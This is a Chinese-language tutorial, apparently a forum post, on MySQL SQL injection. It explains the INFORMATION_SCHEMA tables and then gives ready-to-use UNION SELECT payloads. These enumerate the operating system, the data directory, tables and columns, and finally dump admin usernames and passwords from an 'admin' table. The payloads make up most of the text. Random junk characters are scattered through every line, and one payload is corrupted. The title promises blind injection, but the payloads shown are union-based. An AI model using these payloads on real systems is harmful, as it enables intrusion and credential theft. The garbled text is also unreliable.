本文介绍MYSQL盲注的一些语句和方法6 @' x( e: {9 D4 e: |" U2 u
0 {0 I: ]- G* y1 a" Y+ f. J7 k1 P学习盲注前先了解下 IFORMATION_SCHEMA 库
- l" F" F* v3 L8 y* h' c5 D' a0 t* J I: ^# a
Mysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有- F. r' J9 J4 j0 q H2 v% K
存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
& E2 I, x8 c, A& J* i0 j1.得到所有数据库名:. D B& I- p9 [$ b5 M
|SCHEMATA ->存储数据库名的表1 s) r% x- o; }3 B9 T: A; H7 N2 Y
|---字段:SCHEMA_NAME ->数据库名称
2 E/ T% u5 H# F: o1 \# ` ?5 z, Y" W9 K& `; }9 I
|TABLES ->存储表名( A; @$ A- Y8 p7 G: i' x& S
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
$ d8 F. R' i o0 A7 Y7 [|---字段:TABLE_NAME ->存储表的表名
' r, t8 A2 U9 `( `
+ ^: K( M' F" ?- g|COLUMNS ->存储的字段名表6 h" L) m2 ^" O
|---字段:TABLE_SCHEMA ->该字段所属数据库名' t* F0 N, x" V; K/ _5 f4 ]: k5 _
|---字段:TABLE_NAME ->存储所属表的名称
t7 {0 d8 \; x1 }) | M ?9 ]0 P B( C' V
|---字段:COLUMN_NAME ->该字段的名称0 D* m+ @; x" f$ F
/ @; u0 i4 b2 @! b$ `$ M ]7 x
& _ H, }! f$ o7 G
0 v4 [5 H6 q, D2 h- M###########################################################################
' D5 V% n0 J" W8 q3 H/ B9 X+ P) f% K
0x001 获取系统信息:0 x# R: I! H) m9 b/ C& Y2 S/ D
% `6 X, h5 ~7 c' d% }
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /*4 y/ J6 K/ c! f+ ~
6 c k; v( ^4 H
/*: s$ T8 I) _ e. o- ]$ g
2 l- E2 `5 O* z& m@@global.version_compile_os 获取系统版本* J: Y' `6 q: ?) [7 C) `" [' |
6 b, Y1 R. e6 b* Z* U: M1 [9 j3 I@@datadir 数据库路径7 P9 | G+ L, U
database() 当前数据库名称
( u: L2 F- _1 a+ B0x3c62723e 换行HEX值& r; [$ M) R) ~, o
: H: n' s# v3 o1 {2 Z+ |1 p5 s: |1 f
*/* L; a; |* {0 J
. p+ |" U3 |/ u1 c. R: m - t$ Z3 s* H, m5 U, c) {
7 E6 Y7 p) K! |4 X1 _
######################################################################
4 w! U( P% W3 C9 T. A8 A, k! c
8 d3 ~( ^$ J' b0x002 获取表名
8 C. p( C2 d: A7 k
; @1 M" _5 e z2 Funion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*
1 X* O7 n8 I& `
+ O) H6 W& E9 t J! T, A; l ' B. t5 a8 ?0 O
6 Q& M& F* W, l. ]/ T+ E
/*. m) t U0 J, [4 O( M
Y$ @' e, X' K0 N, H) x0 i# c* d0x67617264656e 为当前数据库名2 b$ ~. k6 g7 A! l C( v* H
3 x# Q* j% j6 ~% \3 _, Z% d, q' @
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
5 {9 c$ M1 ^$ h! ^
9 J/ ]3 A6 R2 L*/2 S" E/ {; p" _
0 w7 w5 \* h3 |# r6 X
######################################################################
+ n9 g0 a# D! E2 ]+ ?! g- t7 u9 k) a6 `" l. v% X/ }
1 ~. W# |9 N- I: X* F( q5 Y$ r- e6 t9 Q, J0 V( v2 A" z
0x003 获取字段0 ]* K6 B' {6 p: ~0 q
: M' ]0 R8 ?7 r( v( Gunion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /*! o0 z% B2 o5 M9 W
, v+ E7 Q$ k: r
/*
6 r# Y$ w' `8 t, l5 i" d% a8 ]# X2 e' [! C& y6 J
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
" Y) ^+ Z: H# ^" E, j9 q6 e$ S$ ? i$ ]2 s. g' B
0x61646d696e ->选择一个表
C! z( @+ w# X7 ]2 d$ T5 ~0 }) {6 U8 ~) B$ u8 i
0x67617264656e ->数据库名. K3 `3 P/ @* [
6 r$ ]! x' `' l, _* [/ s) B*/! L& G& @0 u! S, x# X6 ~+ J
& m! \6 g) j+ w9 ?
#####################################################################. |# l4 c5 f0 w L1 X
5 t1 @3 Z C" h5 i+ X- E, l
, y, l, \9 E, z1 b( k3 j+ Q/ b" A0 |4 I% Z, Z
0x004 获取数据
' V( i, i, `5 Y+ v
/ V0 @$ a- F; ?$ V$ r& Dunion select 1,2,3
" w) Y9 t9 p6 g# [0 y: y,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin* h# P% @3 Y+ W1 N* }* Q! Z8 f s- U
+ j( ]. t' v% x+ P7 C1 ^! vunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin" ^5 `& ]8 W" ^. j" n: M, [& |7 e' m
9 [5 }! V Q% }( @$ [* |3 X0 ` - ]- r5 U* d+ [1 _* b
. `9 R& H* S7 |5 B& b6 i) |
/*
8 z4 u# i& W7 [ t2 N& Q
9 `# T4 k% b1 U% t j4 y; d/ u& j3 b0x3c62723e 换行符号HEX编码1 Z6 v; A' H) {3 K/ d6 y
& ?3 b0 U7 \9 c& z7 ~
group_concat 同时获得该字段所有数据, B% _; {$ ^8 l) `
. |5 z p# T" g+ `6 B4 C C! j
*/
0 q7 {% p7 d/ N+ A0 v; K! O
$ L+ }: Q6 R$ n; n( _& G4 m |